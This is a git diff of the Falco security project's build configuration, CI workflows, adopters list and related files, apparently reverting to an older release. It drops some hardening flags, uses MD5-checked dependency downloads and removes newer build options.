run: sudo DEBIAN_FRONTEND=noninteractive apt install cmake build-essential clang llvm git linux-headers-$(uname -r) pkg-config autoconf libtool libelf-dev -y
|
||||
|
||||
- name: Prepare project
|
||||
run: |
|
||||
mkdir build
|
||||
pushd build
|
||||
cmake -DBUILD_BPF=On -DUSE_BUNDLED_DEPS=On ..
|
||||
popd
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
pushd build
|
||||
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
|
||||
popd
|
||||
|
||||
- name: Run unit tests
|
||||
run: |
|
||||
pushd build
|
||||
make tests
|
||||
popd
|
||||
|
||||
build-centos7-debug:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: falcosecurity/falco-builder:latest
|
||||
env:
|
||||
BUILD_TYPE: "debug"
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
path: falco
|
||||
|
||||
- name: Link falco repo to /source/falco
|
||||
run: |
|
||||
mkdir -p /source
|
||||
ln -s "$GITHUB_WORKSPACE/falco" /source/falco
|
||||
|
||||
- name: Prepare project
|
||||
run: /usr/bin/entrypoint cmake
|
||||
|
||||
- name: Build
|
||||
run: /usr/bin/entrypoint all
|
||||
|
||||
- name: Run unit tests
|
||||
run: /usr/bin/entrypoint tests
|
||||
|
||||
- name: Build packages
|
||||
run: /usr/bin/entrypoint package
|
||||
14
.github/workflows/codespell.yml
vendored
14
.github/workflows/codespell.yml
vendored
@@ -1,14 +0,0 @@
|
||||
name: Codespell
|
||||
on:
|
||||
pull_request:
|
||||
jobs:
|
||||
codespell:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- uses: codespell-project/actions-codespell@master
|
||||
with:
|
||||
skip: .git
|
||||
ignore_words_file: .codespellignore
|
||||
check_filenames: true
|
||||
check_hidden: true
|
||||
16
.gitignore
vendored
16
.gitignore
vendored
@@ -2,6 +2,7 @@
|
||||
*~
|
||||
*.pyc
|
||||
|
||||
test/falco_tests.yaml
|
||||
test/traces-negative
|
||||
test/traces-positive
|
||||
test/traces-info
|
||||
@@ -10,6 +11,19 @@ test/.phoronix-test-suite
|
||||
test/results*.json.*
|
||||
test/build
|
||||
|
||||
userspace/falco/lua/re.lua
|
||||
userspace/falco/lua/lpeg.so
|
||||
userspace/engine/lua/lyaml
|
||||
userspace/engine/lua/lyaml.lua
|
||||
|
||||
docker/event-generator/event_generator
|
||||
docker/event-generator/mysqld
|
||||
docker/event-generator/httpd
|
||||
docker/event-generator/sha1sum
|
||||
docker/event-generator/vipw
|
||||
|
||||
.vscode/*
|
||||
|
||||
*.idea*
|
||||
.luacheckcache
|
||||
|
||||
*.idea*
|
||||
9
.luacheckrc
Normal file
9
.luacheckrc
Normal file
@@ -0,0 +1,9 @@
|
||||
std = "min"
|
||||
cache = true
|
||||
include_files = {
|
||||
"userspace/falco/lua/*.lua",
|
||||
"userspace/engine/lua/*.lua",
|
||||
"userspace/engine/lua/lyaml/*.lua",
|
||||
"*.luacheckrc"
|
||||
}
|
||||
exclude_files = {"build"}
|
||||
62
ADOPTERS.md
62
ADOPTERS.md
@@ -1,59 +1,18 @@
|
||||
# Adopters
|
||||
|
||||
Known end users with notable contributions to the project include:
|
||||
* AWS
|
||||
* IBM
|
||||
* Red Hat
|
||||
|
||||
Falco is being used by numerous other companies, both large and small, to build higher layer products and services. The list includes but is not limited to:
|
||||
* Equinix Metal
|
||||
* IEEE
|
||||
* Lowes
|
||||
* Reckrut
|
||||
* Yellow Pepper
|
||||
* CTx
|
||||
* Utikal
|
||||
* Discrete Events
|
||||
* Agritech Infra
|
||||
|
||||
This is a list of production adopters of Falco (in alphabetical order):
|
||||
|
||||
* [ASAPP](https://www.asapp.com/) - ASAPP is a pushing the boundaries of fundamental artificial intelligence research. We apply our research into AI-Native® products that make organizations, in the customer experience industry, highly productive, efficient, and effective—by augmenting human activity and automating workflows. We constantly monitor our workloads against different hazards and FALCO helps us extend our threat monitoring boundaries.
|
||||
|
||||
* [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
|
||||
|
||||
* [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
|
||||
|
||||
* [Fairwinds](https://fairwinds.com/) - [Fairwinds Insights](https://fairwinds.com/insights), Kubernetes governance software, integrates Falco to offer a single pane of glass view into potential security incidents. Insights adds out-of-the-box integrations and rules filter to reduce alert fatigue and improve security response. The platform adds security prevention, detection, and response capabilities to your existing Kubernetes infrastructure. Security and DevOps teams benefit from a centralized view of container security vulnerability scanning and runtime container security.
|
||||
|
||||
* [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
|
||||
|
||||
* [Giant Swarm](https://www.giantswarm.io/) - Giant Swarm manages Kubernetes clusters and infrastructure for enterprises across multiple cloud providers as well as several flavors of on-premises data centers. Our platform provisions and monitors pure "vanilla" Kubernetes clusters which can be augmented with managed solutions to many common Kubernetes challenges, including security. We use Falco for anomaly detection as part of our collection of entirely open-source tools for securing our own clusters, and offer the same capabilities to our customers as part of our [managed security offering](https://docs.giantswarm.io/app-platform/apps/security/).
|
||||
* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containerswhich could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
|
||||
|
||||
* [GitLab](https://about.gitlab.com/direction/defend/container_host_security/) - GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate. GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.
|
||||
|
||||
* [gVisor](https://gvisor.dev/) - gVisor secures Kubernetes, containers, and workloads via an alternate execution environment that handles system calls in user space, blocking security issues before they reach the underlying host. gVisor provides defense-in-depth, protection against untrusted code execution, and a secure-by-default Kubernetes experience where containers are a security boundary. Falco can be used with gVisor to detect unusual or suspicious activity using its threat detection engine on top of gVisor runtime execution information.
|
||||
|
||||
* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containers which could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
|
||||
|
||||
* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.
|
||||
* https://logz.io/blog/k8s-security-with-falco-and-cloud-siem/
|
||||
|
||||
* [MathWorks](https://mathworks.com) - MathWorks develops mathematical computing software for engineers and scientists. MathWorks uses Falco for Kubernetes threat detection, unexpected application behavior, and maps Falco rules to their cloud infrastructure's security kill chain model. MathWorks presented their Falco use case at [KubeCon + CloudNativeCon North America 2020](https://www.youtube.com/watch?v=L-5RYBTV010).
|
||||
|
||||
* [Pocteo](https://pocteo.co) - Pocteo helps with Kubernetes adoption in enterprises by providing a variety of services such as training, consulting, auditing and mentoring. We build CI/CD pipelines the GitOps way, as well as design and run k8s clusters. Pocteo uses Falco as a runtime monitoring system to secure clients' workloads against suspicious behavior and ensure k8s pods immutability. We also use Falco to collect, process and act on security events through a response engine and serverless functions.
|
||||
|
||||
* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPAA compliance requirements.
|
||||
* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPPA compliance requirements.
|
||||
* https://hipaa.preferral.com/01-preferral_hipaa_compliance/
|
||||
|
||||
* [Qonto](https://qonto.com) - Qonto is a modern banking for SMEs and freelancers. Qonto provides a fully featured business account with a simplified accounting flow. Falco is used by our SecOps team to detect suspicious behaviors in our clusters.
|
||||
|
||||
* [Raft](https://goraft.tech) - Raft is a government contractor that offers cloud-native solutions across many different agencies including DoD (Department of Defense), HHS (Health and Human Services), as well as within CFPB (Consumer Finance Protection Bureau). Raft leverages Falco to detect threats in our client's Kubernetes clusters and as a Host Intrusion Detection System. Raft proudly recommends Falco across all our different projects.
|
||||
|
||||
* [Replicated](https://www.replicated.com/) - Replicated is the modern way to ship on-prem software. Replicated gives software vendors a container-based platform for easily deploying cloud native applications inside customers' environments to provide greater security and control. Replicated uses Falco as runtime security to detect threats in the Kubernetes clusters which host our critical SaaS services.
|
||||
|
||||
* [Secureworks](https://www.secureworks.com/) - Secureworks is a leading worldwide cybersecurity company with a cloud-native security product that combines the power of human intellect with security analytics to unify detection and response across cloud, network, and endpoint environments for improved security operations and outcomes. Our Taegis XDR platform and detection system processes petabytes of security relevant data to expose active threats amongst the billions of daily events from our customers. We are proud to protect our platform’s Kubernetes deployments, as well as help our customers protect their own Linux and container environments, using Falco.
|
||||
|
||||
* [Shopify](https://www.shopify.com) - Shopify is the leading multi-channel commerce platform. Merchants use Shopify to design, set up, and manage their stores across multiple sales channels, including mobile, web, social media, marketplaces, brick-and-mortar locations, and pop-up shops. The platform also provides merchants with a powerful back-office and a single view of their business, from payments to shipping. The Shopify platform was engineered for reliability and scale, making enterprise-level technology available to businesses of all sizes. Shopify uses Falco to complement its Host and Network Intrusion Detection Systems.
|
||||
|
||||
* [Sight Machine](https://www.sightmachine.com) - Sight Machine is the category leader for manufacturing analytics and used by Global 500 companies to make better, faster decisions about their operations. Sight Machine uses Falco to help enforce SOC2 compliance as well as a tool for real time security monitoring and alerting in Kubernetes.
|
||||
@@ -62,20 +21,5 @@ This is a list of production adopters of Falco (in alphabetical order):
|
||||
|
||||
* [Sumo Logic](https://www.sumologic.com/) - Sumo Logic provides a SaaS based log aggregation service that provides dashboards and applications to easily identify and analyze problems in your application and infrastructure. Sumo Logic provides native integrations for many CNCF projects, such as Falco, that allows end users to easily collect Falco events and analyze Falco events on DecSecOps focused dashboards.
|
||||
|
||||
* [Swissblock Technologies](https://swissblock.net/) At Swissblock we connect the dots by combining cutting-edge algorithmic trading strategies with in-depth market analysis. We route all Falco events to our control systems, both monitoring and logging. Being able to deeply analyse alerts, we can understand what is running on our Kubernetes clusters and check against security policies, specifically defined for each workload. A set of alarms notifies us in case of critical events, letting us react fast. In the near future we plan to build a little application to route Kubernetes internal events directly to Falco, fully leveraging Falco PodSecurityPolicies analyses.
|
||||
* [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call probe. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-define infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
|
||||
|
||||
* [Shapesecurity/F5](https://www.shapesecurity.com/) Shapesecurity defends against application fraud attacks like Account Take Over, Credential Stuffing, Fake Accounts, etc. Required by FedRamp certification, we needed to find a FIM solution to help monitor and protect our Kubernetes clusters. Traditional FIM solutions were not scalable and not working for our environment, but with Falco we found the solution we needed. Falco's detection capabilities have helped us identify anomalous behaviour within our clusters. We leverage Sidekick (https://github.com/falcosecurity/charts/tree/master/falcosidekick) to send Falco alerts to a PubSub which in turn publishes those alerts to our SIEM (SumoLogic)
|
||||
|
||||
* [Yahoo! JAPAN](https://www.yahoo.co.jp/) Yahoo! JAPAN is a leading company of internet in Japan. We build an AI Platform in our private cloud and provide it to scientists in our company. AI Platform is a multi-tenant Kubernetes environment and more flexible, faster, more efficient Machine Learning environment. Falco is used to detect unauthorized commands and malicious access and our AI Platform is monitored and alerted by Falco.
|
||||
|
||||
* [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call driver. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended Falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-defined infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
|
||||
|
||||
## Projects that use Falco libs
|
||||
|
||||
* [R6/Phoenix](https://r6security.com/) is an attack surface protection company that uses moving target defense to provide fully automated, proactive and devops friendly security to its customers. There are a set of policies you can add to enable the moving target defense capabilities. Some of them are triggered by a combination of Falco's findings. You can kill, restart and rename pods according to the ever changing policies.
|
||||
|
||||
* [SysFlow](https://sysflow.io) SysFlow is a cloud-native system telemetry framework that focuses on data abstraction, behavioral analytics, and noise reduction. At its core, SysFlow exposes a compact open telemetry format that records workload behaviors by connecting event and flow representations of process control flows, file interactions, and network communications. The resulting abstraction encodes a graph structure that enables provenance reasoning on host and container environments, and fast retrieval of security-relevant information.
|
||||
|
||||
## Adding a name
|
||||
|
||||
If you would like to add your name to this file, submit a pull request with your change.
|
||||
|
||||
983
CHANGELOG.md
983
CHANGELOG.md
File diff suppressed because it is too large
Load Diff
208
CMakeLists.txt
208
CMakeLists.txt
@@ -16,25 +16,6 @@ project(falco)
|
||||
|
||||
option(USE_BUNDLED_DEPS "Bundle hard to find dependencies into the Falco binary" OFF)
|
||||
option(BUILD_WARNINGS_AS_ERRORS "Enable building with -Wextra -Werror flags" OFF)
|
||||
option(MINIMAL_BUILD "Build a minimal version of Falco, containing only the engine and basic input/output (EXPERIMENTAL)" OFF)
|
||||
option(MUSL_OPTIMIZED_BUILD "Enable if you want a musl optimized build" OFF)
|
||||
|
||||
# gVisor is currently only supported on Linux x86_64
|
||||
if(CMAKE_SYSTEM_PROCESSOR STREQUAL "x86_64" AND CMAKE_SYSTEM_NAME MATCHES "Linux" AND NOT MINIMAL_BUILD)
|
||||
option(BUILD_FALCO_GVISOR "Build gVisor support for Falco" ON)
|
||||
if (BUILD_FALCO_GVISOR)
|
||||
add_definitions(-DHAS_GVISOR)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# We shouldn't need to set this, see https://gitlab.kitware.com/cmake/cmake/-/issues/16419
|
||||
option(EP_UPDATE_DISCONNECTED "ExternalProject update disconnected" OFF)
|
||||
if (${EP_UPDATE_DISCONNECTED})
|
||||
set_property(
|
||||
DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}
|
||||
PROPERTY EP_UPDATE_DISCONNECTED TRUE)
|
||||
endif()
|
||||
|
||||
|
||||
# Elapsed time
|
||||
# set_property(GLOBAL PROPERTY RULE_LAUNCH_COMPILE "${CMAKE_COMMAND} -E time") # TODO(fntlnz, leodido): add a flag to enable this
|
||||
@@ -66,27 +47,9 @@ if(CMAKE_BUILD_TYPE STREQUAL "debug")
|
||||
else()
|
||||
set(CMAKE_BUILD_TYPE "release")
|
||||
set(KBUILD_FLAGS "${DRAIOS_FEATURE_FLAGS}")
|
||||
add_definitions(-DBUILD_TYPE_RELEASE)
|
||||
endif()
|
||||
message(STATUS "Build type: ${CMAKE_BUILD_TYPE}")
|
||||
|
||||
if(MINIMAL_BUILD)
|
||||
set(MINIMAL_BUILD_FLAGS "-DMINIMAL_BUILD")
|
||||
endif()
|
||||
|
||||
if(MUSL_OPTIMIZED_BUILD)
|
||||
set(MUSL_FLAGS "-static -Os -fPIE -pie")
|
||||
add_definitions(-DMUSL_OPTIMIZED)
|
||||
endif()
|
||||
|
||||
# explicitly set hardening flags
|
||||
set(CMAKE_POSITION_INDEPENDENT_CODE ON)
|
||||
set(FALCO_SECURITY_FLAGS "-Wl,-z,relro,-z,now -fstack-protector-strong")
|
||||
if(CMAKE_BUILD_TYPE STREQUAL "release")
|
||||
set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -D_FORTIFY_SOURCE=2")
|
||||
endif()
|
||||
|
||||
set(CMAKE_COMMON_FLAGS "${FALCO_SECURITY_FLAGS} -Wall -ggdb ${DRAIOS_FEATURE_FLAGS} ${MINIMAL_BUILD_FLAGS} ${MUSL_FLAGS}")
|
||||
set(CMAKE_COMMON_FLAGS "-Wall -ggdb ${DRAIOS_FEATURE_FLAGS}")
|
||||
|
||||
if(BUILD_WARNINGS_AS_ERRORS)
|
||||
set(CMAKE_SUPPRESSED_WARNINGS
|
||||
@@ -107,14 +70,9 @@ set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
|
||||
include(GetFalcoVersion)
|
||||
|
||||
set(PACKAGE_NAME "falco")
|
||||
set(DRIVER_NAME "falco")
|
||||
set(DRIVER_DEVICE_NAME "falco")
|
||||
set(DRIVERS_REPO "https://download.falco.org/driver")
|
||||
|
||||
if(NOT DEFINED FALCO_COMPONENT_NAME)
|
||||
set(FALCO_COMPONENT_NAME "${CMAKE_PROJECT_NAME}")
|
||||
endif()
|
||||
|
||||
set(PROBE_VERSION "${FALCO_VERSION}")
|
||||
set(PROBE_NAME "falco-probe")
|
||||
set(PROBE_DEVICE_NAME "falco")
|
||||
if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
|
||||
set(CMAKE_INSTALL_PREFIX
|
||||
/usr
|
||||
@@ -125,9 +83,6 @@ set(CMD_MAKE make)
|
||||
|
||||
include(ExternalProject)
|
||||
|
||||
# libs
|
||||
include(falcosecurity-libs)
|
||||
|
||||
# jq
|
||||
include(jq)
|
||||
|
||||
@@ -137,55 +92,142 @@ message(STATUS "Using bundled nlohmann-json in '${NJSON_SRC}'")
|
||||
set(NJSON_INCLUDE "${NJSON_SRC}/single_include")
|
||||
ExternalProject_Add(
|
||||
njson
|
||||
URL "https://github.com/nlohmann/json/archive/v3.3.0.tar.gz"
|
||||
URL_HASH "SHA256=2fd1d207b4669a7843296c41d3b6ac5b23d00dec48dba507ba051d14564aa801"
|
||||
URL "https://s3.amazonaws.com/download.draios.com/dependencies/njson-3.3.0.tar.gz"
|
||||
URL_MD5 "e26760e848656a5da400662e6c5d999a"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
# b64
|
||||
include(b64)
|
||||
# curses
|
||||
# We pull this in because libsinsp won't build without it
|
||||
set(CURSES_NEED_NCURSES TRUE)
|
||||
find_package(Curses REQUIRED)
|
||||
message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}")
|
||||
|
||||
# libb64
|
||||
set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
|
||||
message(STATUS "Using bundled b64 in '${B64_SRC}'")
|
||||
set(B64_INCLUDE "${B64_SRC}/include")
|
||||
set(B64_LIB "${B64_SRC}/src/libb64.a")
|
||||
ExternalProject_Add(
|
||||
b64
|
||||
URL "https://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
|
||||
URL_MD5 "a609809408327117e2c643bed91b76c5"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
# yaml-cpp
|
||||
include(yaml-cpp)
|
||||
|
||||
if(NOT MINIMAL_BUILD)
|
||||
# OpenSSL
|
||||
include(openssl)
|
||||
# OpenSSL
|
||||
include(OpenSSL)
|
||||
|
||||
# libcurl
|
||||
include(curl)
|
||||
# libcurl
|
||||
include(cURL)
|
||||
|
||||
# cpp-httlib
|
||||
include(cpp-httplib)
|
||||
# LuaJIT
|
||||
set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
|
||||
message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
|
||||
set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
|
||||
set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
|
||||
ExternalProject_Add(
|
||||
luajit
|
||||
URL "https://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
|
||||
URL_MD5 "f14e9104be513913810cd59c8c658dc0"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
# Lpeg
|
||||
set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
|
||||
set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
|
||||
message(STATUS "Using bundled lpeg in '${LPEG_SRC}'")
|
||||
set(LPEG_DEPENDENCIES "")
|
||||
list(APPEND LPEG_DEPENDENCIES "luajit")
|
||||
ExternalProject_Add(
|
||||
lpeg
|
||||
DEPENDS ${LPEG_DEPENDENCIES}
|
||||
URL "https://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
|
||||
URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
|
||||
BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
|
||||
BUILD_IN_SOURCE 1
|
||||
CONFIGURE_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
# libyaml
|
||||
find_library(LIBYAML_LIB NAMES libyaml.so)
|
||||
if(LIBYAML_LIB)
|
||||
message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system libyaml")
|
||||
endif()
|
||||
|
||||
include(cxxopts)
|
||||
# lyaml
|
||||
set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
|
||||
set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
|
||||
message(STATUS "Using bundled lyaml in '${LYAML_SRC}'")
|
||||
set(LYAML_DEPENDENCIES "")
|
||||
list(APPEND LYAML_DEPENDENCIES "luajit")
|
||||
ExternalProject_Add(
|
||||
lyaml
|
||||
DEPENDS ${LYAML_DEPENDENCIES}
|
||||
URL "https://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
|
||||
URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
CONFIGURE_COMMAND ./configure --enable-static LIBS=-lyaml LUA_INCLUDE=-I${LUAJIT_INCLUDE} LUA=${LUAJIT_SRC}/luajit
|
||||
INSTALL_COMMAND sh -c
|
||||
"cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
|
||||
|
||||
# One TBB
|
||||
include(tbb)
|
||||
# Intel TBB
|
||||
set(TBB_SRC "${PROJECT_BINARY_DIR}/tbb-prefix/src/tbb")
|
||||
|
||||
#string-view-lite
|
||||
include(DownloadStringViewLite)
|
||||
message(STATUS "Using bundled tbb in '${TBB_SRC}'")
|
||||
|
||||
if(NOT MINIMAL_BUILD)
|
||||
include(zlib)
|
||||
include(cares)
|
||||
include(protobuf)
|
||||
# gRPC
|
||||
include(grpc)
|
||||
endif()
|
||||
set(TBB_INCLUDE_DIR "${TBB_SRC}/include/")
|
||||
set(TBB_LIB "${TBB_SRC}/build/lib_release/libtbb.a")
|
||||
ExternalProject_Add(
|
||||
tbb
|
||||
URL "https://github.com/intel/tbb/archive/2018_U5.tar.gz"
|
||||
URL_MD5 "ff3ae09f8c23892fbc3008c39f78288f"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ${CMD_MAKE} tbb_build_dir=${TBB_SRC}/build tbb_build_prefix=lib extra_inc=big_iron.inc
|
||||
BUILD_IN_SOURCE 1
|
||||
BUILD_BYPRODUCTS ${TBB_LIB}
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
# civetweb
|
||||
set(CIVETWEB_SRC "${PROJECT_BINARY_DIR}/civetweb-prefix/src/civetweb/")
|
||||
set(CIVETWEB_LIB "${CIVETWEB_SRC}/install/lib/libcivetweb.a")
|
||||
set(CIVETWEB_INCLUDE_DIR "${CIVETWEB_SRC}/install/include")
|
||||
message(STATUS "Using bundled civetweb in '${CIVETWEB_SRC}'")
|
||||
ExternalProject_Add(
|
||||
civetweb
|
||||
URL "https://github.com/civetweb/civetweb/archive/v1.11.tar.gz"
|
||||
URL_MD5 "b6d2175650a27924bccb747cbe084cd4"
|
||||
CONFIGURE_COMMAND ${CMAKE_COMMAND} -E make_directory ${CIVETWEB_SRC}/install/lib
|
||||
COMMAND ${CMAKE_COMMAND} -E make_directory ${CIVETWEB_SRC}/install/include
|
||||
BUILD_IN_SOURCE 1
|
||||
BUILD_COMMAND ${CMD_MAKE} COPT="-DNO_FILES" WITH_CPP=1
|
||||
INSTALL_COMMAND ${CMD_MAKE} COPT="-DNO_FILES" install-lib install-headers PREFIX=${CIVETWEB_SRC}/install "WITH_CPP=1")
|
||||
|
||||
# gRPC
|
||||
include(gRPC)
|
||||
|
||||
# sysdig
|
||||
include(sysdig)
|
||||
|
||||
# Installation
|
||||
install(FILES falco.yaml DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${FALCO_COMPONENT_NAME}")
|
||||
install(FILES falco.yaml DESTINATION "${FALCO_ETC_DIR}")
|
||||
|
||||
if(NOT MINIMAL_BUILD)
|
||||
# Coverage
|
||||
include(Coverage)
|
||||
# Coverage
|
||||
include(Coverage)
|
||||
|
||||
# Tests
|
||||
add_subdirectory(test)
|
||||
endif()
|
||||
# Tests
|
||||
add_subdirectory(test)
|
||||
|
||||
# Rules
|
||||
add_subdirectory(rules)
|
||||
@@ -196,13 +238,9 @@ add_subdirectory(docker)
|
||||
# Clang format
|
||||
# add_custom_target(format COMMAND clang-format --style=file -i $<TARGET_PROPERTY:falco,SOURCES> COMMENT "Formatting ..." VERBATIM)
|
||||
|
||||
# Static analysis
|
||||
include(static-analysis)
|
||||
|
||||
# Shared build variables
|
||||
set(FALCO_SINSP_LIBRARY sinsp)
|
||||
set(FALCO_SHARE_DIR share/falco)
|
||||
set(FALCO_PLUGINS_DIR ${FALCO_SHARE_DIR}/plugins)
|
||||
set(FALCO_ABSOLUTE_SHARE_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}")
|
||||
set(FALCO_BIN_DIR bin)
|
||||
|
||||
@@ -211,9 +249,5 @@ add_subdirectory(userspace/engine)
|
||||
add_subdirectory(userspace/falco)
|
||||
add_subdirectory(tests)
|
||||
|
||||
if(NOT MUSL_OPTIMIZED_BUILD)
|
||||
include(plugins)
|
||||
endif()
|
||||
|
||||
# Packages configuration
|
||||
include(CPackConfig)
|
||||
|
||||
38
CODE_OF_CONDUCT.md
Normal file
38
CODE_OF_CONDUCT.md
Normal file
@@ -0,0 +1,38 @@
|
||||
# CNCF Community Code of Conduct v1.0
|
||||
|
||||
## Contributor Code of Conduct
|
||||
|
||||
As contributors and maintainers of this project, and in the interest of fostering
|
||||
an open and welcoming community, we pledge to respect all people who contribute
|
||||
through reporting issues, posting feature requests, updating documentation,
|
||||
submitting pull requests or patches, and other activities.
|
||||
|
||||
We are committed to making participation in this project a harassment-free experience for
|
||||
everyone, regardless of level of experience, gender, gender identity and expression,
|
||||
